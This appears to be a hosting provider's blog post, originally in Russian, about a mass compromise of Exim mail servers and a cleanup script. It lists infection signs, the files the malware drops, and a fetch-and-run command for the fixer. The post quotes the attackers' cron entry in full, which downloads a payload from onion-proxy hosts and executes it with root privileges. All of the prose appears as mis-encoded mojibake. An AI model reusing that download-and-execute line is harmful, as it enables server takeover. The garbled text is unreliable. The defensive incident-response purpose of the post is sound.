ΠΠ° Π²ΠΎΠ»Π½Π΅ ΠΌΠ°ΡΡΠΎΠ²ΡΡ Π·Π°ΡΠ°ΠΆΠ΅Π½ΠΈΠΉ (ΠΎΡΠ΅Π½Ρ ΠΌΠ½ΠΎΠ³ΠΈΠ΅ Π½Π°ΡΠΈ ΠΊΠ»ΠΈΠ΅Π½ΡΡ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡΡ Exim Π² ΠΊΠ°ΡΠ΅ΡΡΠ²Π΅ ΠΏΠΎΡΡΠΎΠ²ΠΎΠ³ΠΎ ΡΠ΅ΡΠ²Π΅ΡΠ°) Π±ΡΡΡΡΠ΅Π½ΡΠΊΠΎ Π½Π°ΠΊΠΈΠ΄Π°Π» ΡΠΊΡΠΈΠΏΡ Π΄Π»Ρ Π°Π²ΡΠΎΠΌΠ°ΡΠΈΠ·Π°ΡΠΈΠΈ ΡΠ΅ΡΠ΅Π½ΠΈΡ ΠΏΡΠΎΠ±Π»Π΅ΠΌΡ. Π‘ΠΊΡΠΈΠΏΡ Π΄Π°Π»Π΅ΠΊ ΠΎΡ ΠΈΠ΄Π΅Π°Π»Π° ΠΈ ΠΏΠΎΠ»ΠΎΠ½ Π½Π΅ΠΎΠΏΡΠΈΠΌΠ°Π»ΡΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°, Π½ΠΎ ΡΡΠΎ Π±ΡΡΡΡΠΎΠ΅ Π±ΠΎΠ΅Π²ΠΎΠ΅ ΡΠ΅ΡΠ΅Π½ΠΈΠ΅ Π΄Π»Ρ ΡΠΎΠ³ΠΎ, ΡΡΠΎΠ± Π½Π΅ Π²ΡΠΏΠΎΠ»Π½ΡΡΡ ΠΎΠ΄Π½ΠΎΡΠΈΠΏΠ½ΡΠ΅ Π΄Π΅ΠΉΡΡΠ²ΠΈΡ Π½Π° ΡΠΎΡΠ½ΡΡ ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ ΡΡΡΡΡΠ°Ρ ΡΠ΅ΡΠ²Π΅ΡΠΎΠ².
Π Π°Π±ΠΎΡΠ°Π΅Ρ Π½Π° ΡΠ΅ΡΠ²Π΅ΡΠ°Ρ
Ρ ΠΠ‘ Centos, RHEL, Debian, Ubuntu ΠΏΡΠΈ Π½Π°Π»ΠΈΡΠΈΠΈ ΡΡΡΠ°Π½ΠΎΠ²Π»Π΅Π½Π½ΠΎΠ³ΠΎ ΠΏΠΎΡΡΠΎΠ²ΠΎΠ³ΠΎ ΡΠ΅ΡΠ²Π΅ΡΠ° Exim.
ΠΠ°ΠΊ ΠΏΠΎΠ½ΡΡΡ, ΡΡΠΎ ΡΠ΅ΡΠ²Π΅Ρ Π²Π·Π»ΠΎΠΌΠ°Π½?
ΠΡΠΎΠ²Π΅ΡΡΡΠ΅ Π·Π°ΠΏΡΡΠ΅Π½Π½ΡΠ΅ ΠΏΡΠΎΡΠ΅ΡΡΡ ΠΊΠΎΠΌΠ°Π½Π΄ΠΎΠΉ top.
ΠΠ° Π·Π°ΡΠ°ΠΆΡΠ½Π½ΡΡ
ΡΠ΅ΡΠ²Π΅ΡΠ°Ρ
Π½Π°Π±Π»ΡΠ΄Π°Π΅ΡΡΡ 100%-Ρ Π½Π°Π³ΡΡΠ·ΠΊΠ°, ΡΠΎΠ·Π΄Π°Π²Π°Π΅ΠΌΠ°Ρ ΠΏΡΠΎΡΠ΅ΡΡΠΎΠΌ [kthrotlds]. Π’Π°ΠΊΠΆΠ΅ Π² ΠΏΠ»Π°Π½ΠΈΡΠΎΠ²ΡΠΈΠΊΠ΅ cron Π΄ΠΎΠ±Π°Π²Π»ΡΠ΅ΡΡΡ Π·Π°Π΄Π°Π½ΠΈΠ΅ Ρ ΠΎΠ³ΡΠ°Π½ΠΈΡΠ΅Π½ΠΈΠ΅ΠΌ ΠΏΡΠ°Π² Π½Π° ΡΠ΅Π΄Π°ΠΊΡΠΈΡΠΎΠ²Π°Π½ΠΈΠ΅.
Π‘Π΅ΠΊΡΠΈΡ ΠΏΡΠ΅Π΄ΡΠΏΡΠ΅ΠΆΠ΄Π΅Π½ΠΈΠΉ
ΠΡΠ΅ Π²ΡΡΡΠ΅ΡΠ΅Π½Π½ΡΠ΅ Π½Π°ΠΌΠΈ ΠΈΠ½ΡΠΈΠ΄Π΅Π½ΡΡ Π·Π°ΡΠ°ΠΆΠ΅Π½ΠΈΡ Π±ΡΠ»ΠΈ Π°Π±ΡΠΎΠ»ΡΡΠ½ΠΎ ΠΎΠ΄Π½ΠΎΡΠΈΠΏΠ½ΡΠΌΠΈ, Π²ΡΠΎΡΠ°Ρ ΠΈ ΡΡΠ΅ΡΡΡ Π²ΠΎΠ»Π½Π° ΠΌΠΎΠ³ΡΡ ΠΎΡ Π½ΠΈΡ ΠΎΡΠ»ΠΈΡΠ°ΡΡΡΡ β Π΄Π»Ρ Π½ΠΈΡ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡΠΈΠ΄Π΅ΡΡΡ ΠΌΠΎΠ΄ΠΈΡΠΈΡΠΈΡΠΎΠ²Π°ΡΡ ΡΠΊΡΠΈΠΏΡ. ΠΠ° ΠΌΠΎΠΌΠ΅Π½Ρ Π·Π°ΡΠ°ΠΆΠ΅Π½ΠΈΡ Π·Π°Π΄Π°Π½ΠΈΡ Π² cron ΡΡΡΠ°ΡΠΈΠ²Π°ΡΡΡΡ Π±Π΅Π·Π²ΠΎΠ·Π²ΡΠ°ΡΠ½ΠΎ ΠΈ Π²ΠΎΠ·Π²ΡΠ°ΡΠ°ΡΡ ΠΈΡ Π½Π°Π΄ΠΎ ΡΡΠΊΠ°ΠΌΠΈ. Π‘ΠΊΡΠΈΠΏΡ Β«ΡΡΠ±ΠΈΡ Ρ ΠΏΠ»Π΅ΡΠ°Β» β Π±Π΅Π·Π±ΠΎΡΠ·Π½Π΅Π½Π½ΠΎ ΠΎΠ±Π½ΠΎΠ²Π»ΡΠ΅Ρ Exim Π΄ΠΎ ΠΏΠ°ΡΡΠ΅Π½Π½ΡΡ Π²Π΅ΡΡΠΈΠΉ, Π² ΡΠ»ΡΡΠ°Π΅ Ρ Centos 6 Π΄Π°ΠΆΠ΅ ΠΈΠ· ΡΠ΅ΡΡΠΎΠ²ΠΎΠ³ΠΎ ΡΠ΅ΠΏΠΎΠ·ΠΈΡΠΎΡΠΈΡ. ΠΠ½ΡΡΠ°Π½Ρ Π·Π»ΠΎΠ²ΡΠ΅Π΄Π° ΡΠΈΠ΄ΠΈΡ Π² ΠΏΠ°ΠΌΡΡΠΈ, ΠΏΠΎΡΡΠΎΠΌΡ ΡΠ΅ΡΠ²Π΅Ρ ΠΎΠ±ΡΠ·Π°ΡΠ΅Π»ΡΠ½ΠΎ Π½ΡΠΆΠ½ΠΎ ΠΏΠ΅ΡΠ΅Π·Π°Π³ΡΡΠΆΠ°ΡΡ ΡΡΠ°Π·Ρ ΠΏΠΎΡΠ»Π΅ ΡΠΈΡΡΠΊΠΈ ΠΊΡΠΎΠ½ΠΎΠ².
ΠΠ°ΠΆΠ½ΠΎ: ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ ΠΈΡΠΏΠΎΠ»Π½ΡΡΡ ΠΊΠΎΠ΄ ΠΈΠ· ΠΏΠΎΠ΄ root’Π°, ΡΡΠΎ Π½Π΅ Π΄Π°Π΅Ρ Π½ΠΈΠΊΠ°ΠΊΠΈΡ Π³Π°ΡΠ°Π½ΡΠΈΠΉ ΡΡΠΎΠΏΡΠΎΡΠ΅Π½ΡΠ½ΠΎΠ³ΠΎ ΠΈΡΡΠ΅Π»Π΅Π½ΠΈΡ. ΠΠΌΠ΅Ρ ΡΡΡΠΎΠ²ΡΠΉ Π΄ΠΎΡΡΡΠΏ ΠΊ ΡΠ΅ΡΠ²Π΅ΡΡ, ΠΌΠΎΠΆΠ½ΠΎ Π·Π°ΠΏΡΡΡΠ°ΡΡ Π½Π° ΡΡΠΎΡ ΡΠ΅ΡΠ²Π΅Ρ ΠΏΠΎΡΡΠΈ ΡΡΠΎ ΡΠ³ΠΎΠ΄Π½ΠΎ, ΡΠ°ΠΊ, ΡΡΠΎ Π½Π°ΠΉΡΠΈ Π΅Π³ΠΎ Π±ΡΠ΄Π΅Ρ ΠΏΠΎΡΡΠΈ Π½Π΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ. ΠΠ°ΡΠ°Π½ΡΠΈΡΠΎΠ²Π°Π½Π½ΠΎ ΠΏΠΎΠ»Π½ΠΎΡΡΡΡ Π²ΡΠ»Π΅ΡΠΈΡΡ ΡΠ΅ΡΠ²Π΅Ρ ΠΌΠΎΠΆΠ½ΠΎ ΡΠΎΠ»ΡΠΊΠΎ ΠΏΠΎΠ»Π½ΠΎΠΉ ΠΏΠ΅ΡΠ΅ΡΡΡΠ°Π½ΠΎΠ²ΠΊΠΎΠΉ, ΠΎΠ΄Π½Π°ΠΊΠΎ ΠΎΠ½Π° Π΄Π°Π»Π΅ΠΊΠΎ Π½Π΅ Π²ΡΠ΅Π³Π΄Π° Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Π°. ΠΡΠ»ΠΈ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡΠΈ ΠΏΠ΅ΡΠ΅ΡΡΡΠ°Π½ΠΎΠ²ΠΈΡΡ ΡΠ΅ΡΠ²Π΅Ρ Π½Π΅Ρ, Π° ΡΠΈΠΌΠΏΡΠΎΠΌΡ ΡΠΎΠ²ΠΏΠ°Π΄Π°ΡΡ Ρ ΠΎΠΏΠΈΡΠ°Π½Π½ΡΠΌΠΈ β ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠΏΡΠΎΠ±ΠΎΠ²Π°ΡΡ Π±ΡΡΡΡΠΎ Π·Π°Π΄Π΅Π»Π°ΡΡ Π΄ΡΡΡ ΡΡΠΈΠΌ ΡΠΊΡΠΈΠΏΡΠΎΠΌ.
ΠΡΠΏΠΎΠ»ΡΠ·ΡΡ ΡΠΊΡΠΈΠΏΡ, Π²Ρ Π΄Π΅Π»Π°Π΅ΡΠ΅ ΡΡΠΎ Π½Π° ΡΠ²ΠΎΠΉ ΡΡΡΠ°Ρ
ΠΈ ΡΠΈΡΠΊ: ΠΌΡ ΠΏΡΠΎΡΠ΅ΡΡΠΈΡΠΎΠ²Π°Π»ΠΈ ΡΠΊΡΠΈΠΏΡ Π½Π° ΡΡΠ΄Π΅ ΡΠ΅ΡΠ²Π΅ΡΠΎΠ², ΠΎΠ΄Π½Π°ΠΊΠΎ Π²ΡΠ΅Π³Π΄Π° ΡΡΡΠ΅ΡΡΠ²ΡΡΡ ΡΠΈΡΠΊΠΈ Π½Π΅ΡΠΎΠ²ΠΌΠ΅ΡΡΠΈΠΌΠΎΡΡΠΈ Π²Π΅ΡΡΠΈΠΉ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ½ΠΎΠ³ΠΎ ΠΎΠ±Π΅ΡΠΏΠ΅ΡΠ΅Π½ΠΈΡ ΠΈΠ»ΠΈ ΠΊΠΎΠ½ΡΠ»ΠΈΠΊΡΠ° Π½Π°ΡΡΡΠΎΠ΅ΠΊ.
Π’Π°ΠΊΠΆΠ΅ Π½Π°Ρ ΡΠΊΡΠΈΠΏΡ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ Π²ΡΠ»Π΅ΡΠΈΡΡ Π»ΠΈΡΡ ΠΎΠ΄Π½Ρ ΠΈΠ· Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΡΡ
ΡΠ΅Π°Π»ΠΈΠ·Π°ΡΠΈΠΉ Π·Π°ΡΠ°ΠΆΠ΅Π½ΠΈΡ β Π½Π΅ ΠΈΡΠΊΠ»ΡΡΠ΅Π½ΠΎ, ΡΡΠΎ ΡΠΆΠ΅ ΡΠ΅ΠΉΡΠ°Ρ Π΅ΡΡΡ Π΄ΡΡΠ³ΠΈΠ΅ ΡΠΏΠΎΡΠΎΠ±Ρ ΡΠΊΡΠΏΠ»ΡΠ°ΡΠ°ΡΠΈΠΈ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ, ΠΊΠΎΡΠΎΡΡΠ΅ Π² Π½Π°ΡΠ΅ ΠΏΠΎΠ»Π΅ Π·ΡΠ΅Π½ΠΈΡ Π½Π΅ ΠΏΠΎΠΏΠ°Π»ΠΈ.
Π§ΡΠΎ Π΄Π΅Π»Π°Π΅Ρ ΡΠΊΡΠΈΠΏΡ?
1. ΠΡΠ»ΠΈ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠΎΠ½Π½Π°Ρ ΡΠΈΡΡΠ΅ΠΌΠ°, ΡΡΡΠ°Π½ΠΎΠ²Π»Π΅Π½Π½Π°Ρ Π½Π° ΡΠ΅ΡΠ²Π΅ΡΠ΅:
- ΠΠ΅ Centos 6 ΠΎΠ±Π½ΠΎΠ²Π»ΡΠ΅Ρ Exim, ΠΏΠ΅ΡΠ΅ΡΡΡΠ°Π½Π°Π²Π»ΠΈΠ²Π°Π΅Ρ curl.
- Centos 6 β ΠΎΠ±Π½ΠΎΠ²Π»ΡΠ΅Ρ Exim ΠΈΠ· ΡΠ΅ΡΡΠΎΠ²ΠΎΠ³ΠΎ ΡΠ΅ΠΏΠΎΠ·ΠΈΡΠΎΡΠΈΡ EPEL (ΡΠ΅Π»ΠΈΠ· Π² ΡΡΠ°ΡΠ½ΡΠ΅ ΡΠ΅ΠΏΠΎΠ·ΠΈΡΠΎΡΠΈΠΈ ΠΎΠΆΠΈΠ΄Π°Π΅ΡΡΡ 11-12.06), ΠΏΠ΅ΡΠ΅ΡΡΡΠ°Π½Π°Π²Π»ΠΈΠ²Π°Π΅Ρ curl.
2. ΠΡΠΎΠ²Π΅ΡΡΠ΅Ρ Π½Π°Π»ΠΈΡΠΈΠ΅ Π·Π°ΡΠ°ΠΆΠ΅Π½ΠΈΡ Π½Π° ΡΠ΅ΡΠ²Π΅ΡΠ΅.
Π‘ΠΊΡΠΈΠΏΡ Π°Π½Π°Π»ΠΈΠ·ΠΈΡΡΠ΅Ρ Π·Π°Π΄Π°Π½ΠΈΡ ΠΏΠ»Π°Π½ΠΈΡΠΎΠ²ΡΠΈΠΊΠ° Π½Π° Π½Π°Π»ΠΈΡΠΈΠ΅ ΠΏΠΎΠ΄ΠΎΠ·ΡΠΈΡΠ΅Π»ΡΠ½ΡΡ Π²ΠΊΠ»ΡΡΠ΅Π½ΠΈΠΉ.ΠΠ°ΠΏΡΠΈΠΌΠ΅Ρ, ΡΠ°ΠΊΠΈΡ :
*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <[email protected]>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi; (${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /.cache/.ntp) && chmod +x /.cache/.ntp && /bin/sh /.cache/.ntp
2Π°. ΠΡΠ»ΠΈ Π² ΠΏΠ°ΠΏΠΊΠ΅ /etc Π΅ΡΡΡ ΡΠ»Π΅Π΄Ρ Π²ΠΈΡΡΡΠ½ΠΎΠ³ΠΎ ΡΠΊΡΠΈΠΏΡΠ°, Π΄Π΅Π»Π°Π΅Ρ ΡΠ»Π΅Π΄ΡΡΡΠ΅Π΅
- ΠΎΡΡΠ°Π½Π°Π²Π»ΠΈΠ²Π°Π΅Ρ cron
- ΡΠ±ΠΈΠ²Π°Π΅Ρ ΠΏΡΠΎΡΠ΅ΡΡ, Π·Π°ΠΏΡΡΠ΅Π½Π½ΡΠΉ Π²ΠΈΡΡΡΠ½ΡΠΌ ΡΠΊΡΠΈΠΏΡΠΎΠΌ
- ΡΠ΅ΡΡΡΠ΅ ΡΠ°Π·Π° ΡΠ±ΠΈΠ²Π°Π΅Ρ ΠΏΡΠΎΡΠ΅ΡΡΡ curl wget sh (Π·Π°ΠΏΡΡΠΊΠ°ΡΡΡΡ Π²ΠΈΡΡΡΠΎΠΌ ΠΏΠΎ ΡΠ°ΡΠΏΠΈΡΠ°Π½ΠΈΡ)
- ΡΠΈΡΡΠΈΡ ΠΏΠΎΡΡΠΎΠ²ΡΡ ΠΎΡΠ΅ΡΠ΅Π΄Ρ ΠΎΡ Π²ΡΠ΅Ρ ΠΏΠΈΡΠ΅ΠΌ (Π·Π°ΡΠ°ΠΆΡΠ½Π½ΡΠ΅ ΠΏΠΈΡΡΠΌΠ° ΡΡΡΠ΄Π½ΠΎ ΠΎΡΠ΄Π΅Π»ΠΈΡΡ ΠΎΡ Π±Π΅Π·Π²ΡΠ΅Π΄Π½ΡΡ , ΠΏΠΎΡΡΠΎΠΌΡ ΠΏΡΠΈΡ ΠΎΠ΄ΠΈΡΡΡ ΡΠ΄Π°Π»ΡΡΡ Π²ΡΡ ΠΎΡΠ΅ΡΠ΅Π΄Ρ)
- ΡΠ°Π·ΡΠ΅ΡΠ°Π΅Ρ ΡΠ΄Π°Π»Π΅Π½ΠΈΠ΅ ΡΠ°ΠΉΠ»ΠΎΠ², Π³Π΄Π΅ ΡΠ°Π·ΠΌΠ΅ΡΠ΅Π½Ρ ΡΡΠ°Π³ΠΌΠ΅Π½ΡΡ Π²ΡΠ΅Π΄ΠΎΠ½ΠΎΡΠ½ΠΎΠ³ΠΎ ΡΠΊΡΠΈΠΏΡΠ°:
/etc/cron.daily/cronlog /etc/cron.d/root /etc/cron.d/.cronbus /etc/cron.hourly/cronlog /etc/cron.monthly/cronlog /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.d/root /etc/crontab /root/.cache/ /root/.cache/a /usr/local/bin/nptd /root/.cache/.kswapd /usr/bin/[kthrotlds] /root/.ssh/authorized_keys /.cache/* /.cache/.sysud /.cache/.a /.cache/.favicon.ico /.cache/.kswapd /.cache/.ntp
- ΡΠ΄Π°Π»ΡΠ΅Ρ ΡΡΠΈ ΡΠ°ΠΉΠ»Ρ
- ΡΠ΄Π°Π»ΡΠ΅Ρ Π·Π°Π΄Π°Π½ΠΈΠ΅ Π°Π²ΡΠΎΠ·Π°ΠΏΡΡΠΊΠ° Π² /etc/rc.local
- ΡΠ΄Π°Π»ΡΠ΅Ρ ΠΊΠ»ΡΡ Π·Π»ΠΎΡΠΌΡΡΠ»Π΅Π½Π½ΠΈΠΊΠ° ΠΈΠ· ΡΠ°Π·ΡΠ΅ΡΠ΅Π½Π½ΡΡ ΠΊΠ»ΡΡΠ΅ΠΉ ssh
- Π·Π°ΠΏΡΡΠΊΠ°Π΅Ρ cron
- ΠΈ ΡΡΠ°Π·Ρ ΠΏΠ΅ΡΠ΅Π·Π°Π³ΡΡΠΆΠ°Π΅Ρ ΡΠ΅ΡΠ²Π΅Ρ
2Π±. ΠΡΠ»ΠΈ ΡΠ»Π΅Π΄ΠΎΠ² Π·Π°ΡΠ°ΠΆΠ΅Π½ΠΈΡ Π½Π΅Ρ, ΡΠΊΡΠΈΠΏΡ Π·Π°Π²Π΅ΡΡΠ°Π΅Ρ ΡΠ°Π±ΠΎΡΡ.
Π£ΡΠΎΡΠ½Π΅Π½ΠΈΡ
ΠΡΠ΅ Π·Π°Π΄Π°Π½ΠΈΡ ΠΏΠ»Π°Π½ΠΈΡΠΎΠ²ΡΠΈΠΊΠ° cron Π²ΠΈΡΡΡ ΡΠ΄Π°Π»ΡΠ΅Ρ. ΠΠΎΡΡΠΎΠΌΡ ΠΏΠΎΡΠ»Π΅ ΠΏΠ΅ΡΠ΅Π·Π°Π³ΡΡΠ·ΠΊΠΈ ΡΠ΅ΡΠ²Π΅ΡΠ° ΡΡΠ΅Π±ΡΠ΅ΡΡΡ ΠΈΡ ΠΏΠΎΠ²ΡΠΎΡΠ½Π°Ρ Π½Π°ΡΡΡΠΎΠΉΠΊΠ° ΠΈΠ»ΠΈ Π²ΠΎΡΡΡΠ°Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ ΠΈΠ· ΡΠ΅Π·Π΅ΡΠ²Π½ΠΎΠΉ ΠΊΠΎΠΏΠΈΠΈ.
curl ΡΠ°ΠΊΠΆΠ΅ Π·Π°ΡΠ°ΠΆΠ°Π΅ΡΡΡ Π²ΠΈΡΡΡΠΎΠΌ, ΠΏΠΎΡΡΠΎΠΌΡ ΠΎΠ½ ΠΏΠ΅ΡΠ΅ΡΡΡΠ°Π½Π°Π²Π»ΠΈΠ²Π°Π΅ΡΡΡ.
ΠΠ΅ΡΠ΅Π·Π°Π³ΡΡΠ·ΠΊΠ° (ΡΠΊΡΠΈΠΏΡ Π²ΡΠΏΠΎΠ»Π½ΡΠ΅Ρ Π΅Ρ Π°Π²ΡΠΎΠΌΠ°ΡΠΈΡΠ΅ΡΠΊΠΈ ΠΏΠΎΡΠ»Π΅ Π»Π΅ΡΠ΅Π½ΠΈΡ) ΠΎΠ±ΡΠ·Π°ΡΠ΅Π»ΡΠ½Π° β ΠΈΠ½Π°ΡΠ΅ Π²ΡΠ΅Π΄ΠΎΠ½ΠΎΡ ΡΠΎΡ ΡΠ°Π½ΡΠ΅ΡΡΡ Π² ΠΏΠ°ΠΌΡΡΠΈ ΡΠ΅ΡΠ²Π΅ΡΠ° ΠΈ ΡΠ°ΠΌΠΎΠ²ΠΎΡΠΏΡΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡΡΡ ΠΊΠ°ΠΆΠ΄ΡΠ΅ 30 ΡΠ΅ΠΊΡΠ½Π΄ Π΄Π°ΠΆΠ΅ ΠΏΠΎΡΠ»Π΅ ΡΠ΄Π°Π»Π΅Π½ΠΈΡ Π·Π°ΡΠ°ΠΆΡΠ½Π½ΡΡ ΡΠ°ΠΉΠ»ΠΎΠ².
ΠΠ°ΠΊ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡΡΡ?
Π’ΡΠ°Π΄ΠΈΡΠΈΠΎΠ½Π½ΠΎ: ΠΏΠ΅ΡΠ΅Π΄ Π·Π°ΠΏΡΡΠΊΠΎΠΌ ΡΠ±Π΅Π΄ΠΈΡΠ΅ΡΡ, ΡΡΠΎ Ρ Π²Π°Ρ Π½Π° ΡΡΠΊΠ°Ρ Π΅ΡΡΡ Π°ΠΊΡΡΠ°Π»ΡΠ½Π°Ρ ΡΠ΅Π·Π΅ΡΠ²Π½Π°Ρ ΠΊΠΎΠΏΠΈΡ Π΄Π°Π½Π½ΡΡ ΡΠ΅ΡΠ²Π΅ΡΠ°.
ΠΠ»Ρ Π·Π°ΠΏΡΡΠΊΠ° ΡΠΊΡΠΈΠΏΡΠ°:
ΠΠΎΠ΄ΠΊΠ»ΡΡΠΈΡΠ΅ΡΡ ΠΊ ΡΠ΅ΡΠ²Π΅ΡΡ ΠΏΠΎ ssh ΠΏΠΎΠ΄ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Π΅ΠΌ Ρ ΠΏΡΠ°Π²Π°ΠΌΠΈ root. Π’Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ Shell-ΠΊΠ»ΠΈΠ΅Π½Ρ Π² ΠΏΠ°Π½Π΅Π»ΠΈ ISPmanager β ΠΠ½ΡΡΡΡΠΌΠ΅Π½ΡΡ.
Π ΡΠ΅ΡΠΌΠΈΠ½Π°Π»Π΅ Π²Π²Π΅Π΄ΠΈΡΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρ:
wget https://lechillka.firstvds.ru/exim_rce_fixer.sh && chmod +x exim_rce_fixer.sh && ./exim_rce_fixer.sh
ΠΠΆΠΈΠ΄Π°ΠΉΡΠ΅ Π·Π°Π²Π΅ΡΡΠ΅Π½ΠΈΡ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΡ ΡΠΊΡΠΈΠΏΡΠ° ΠΈ ΠΏΠ΅ΡΠ΅Π·Π°Π³ΡΡΠ·ΠΊΠΈ ΡΠ΅ΡΠ²Π΅ΡΠ°.
ΠΠΎΡΠ»Π΅ ΠΏΠ΅ΡΠ΅Π·Π°Π³ΡΡΠ·ΠΊΠΈ ΠΏΡΠΎΠ²Π΅ΡΡΡΠ΅ ΡΠ°Π±ΠΎΡΡ ΡΠ΅ΡΠ²Π΅ΡΠ° ΠΈ ΡΠ°ΠΉΡΠΎΠ²/ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, ΡΠ°Π·ΠΌΠ΅ΡΡΠ½Π½ΡΡ Π½Π° Π½ΡΠΌ, ΠΏΠ΅ΡΠ΅Π½Π°ΡΡΡΠΎΠΉΡΠ΅ ΠΈΠ»ΠΈ Π²ΠΎΡΡΡΠ°Π½ΠΎΠ²ΠΈΡΠ΅ ΠΈΠ· Π±ΡΠΊΠ°ΠΏΠ° Π·Π°Π΄Π°ΡΠΈ Π² cron.
ΠΡ ΠΈ Π½Π°ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠΊ
ΠΠΎ ΡΡΡΠΈ, ΡΠΊΡΠΈΠΏΡ ΡΠ²Π»ΡΠ΅ΡΡΡ Π²ΡΠ΅ΠΌΠ΅Π½Π½ΡΠΌ ΡΠ΅ΡΠ΅Π½ΠΈΠ΅ΠΌ Π΄Π»Ρ Π²ΠΎΡΡΡΠ°Π½ΠΎΠ²Π»Π΅Π½ΠΈΡ ΡΠ°Π±ΠΎΡΠΎΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡΠΈ ΡΠ΅ΡΠ²Π΅ΡΠ°, Π΄Π»Ρ Π³Π°ΡΠ°Π½ΡΠΈΡΠΎΠ²Π°Π½Π½ΠΎΠΉ ΠΏΡΠΎΡΠΈΠ»Π°ΠΊΡΠΈΠΊΠΈ Π»ΡΡΡΠΈΠΌ ΡΠ΅ΡΠ΅Π½ΠΈΠ΅ΠΌ ΡΠ²Π»ΡΠ΅ΡΡΡ ΠΏΠ΅ΡΠ΅Ρ ΠΎΠ΄ Π½Π° Π½ΠΎΠ²ΡΠΉ ΡΠ΅ΡΠ²Π΅Ρ Ρ ΡΠΎΠΉ Π²Π΅ΡΡΠΈΠ΅ΠΉ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠΎΠ½Π½ΠΎΠΉ ΡΠΈΡΡΠ΅ΠΌΡ, ΠΊΠΎΡΠΎΡΠ°Ρ ΡΠΆΠ΅ Π½Π΅ ΡΠΎΠ΄Π΅ΡΠΆΠΈΡ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ.
ΠΡΠ΅ ΡΠ΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°ΡΠΈΠΈ ΠΏΠΎ Π΄ΠΎΡΠ°Π±ΠΎΡΠΊΠ΅/ΠΏΠ΅ΡΠ΅ΡΠ°Π±ΠΎΡΠΊΠ΅ ΡΠΊΡΠΈΠΏΡΠ° ΠΏΡΠΈΠ²Π΅ΡΡΡΠ²ΡΡΡΡΡ. ΠΡΠ»ΠΈ Π²Ρ ΡΡΠΎΠ»ΠΊΠ½ΡΠ»ΠΈΡΡ Ρ Π΄ΡΡΠ³ΠΈΠΌ ΡΠΈΠΌΠΏΡΠΎΠΌΠΎΠΌ Π·Π°ΡΠ°ΠΆΠ΅Π½ΠΈΡ β ΠΏΠΎΠΊΠ°ΠΆΠΈΡΠ΅ Π΅Π³ΠΎ, ΠΏΠΎΠΆΠ°Π»ΡΠΉΡΡΠ°. ΠΠΎΠΎΠΏΠ΅ΡΠ°ΡΠΈΡ Π² ΠΌΠΎΠΌΠ΅Π½ΡΡ ΠΌΠ°ΡΡΠΎΠ²ΡΡ Π·Π°ΡΠ°ΠΆΠ΅Π½ΠΈΠΉ Π·Π½Π°ΡΠΈΡΠ΅Π»ΡΠ½ΠΎ ΡΠ½ΠΈΠΆΠ°Π΅Ρ Π²ΡΠ΅ΠΌΡ, Π½ΡΠΆΠ½ΠΎΠ΅ Π½Π° ΡΡΡΡΠ°Π½Π΅Π½ΠΈΠ΅ ΡΡΠΈΡ Π·Π°ΡΠ°ΠΆΠ΅Π½ΠΈΠΉ.
Π£Π΄Π°ΡΠΈ!
UPD1:
ΠΡΡΠΎΡΠ½ΠΈΠΊ: habr.com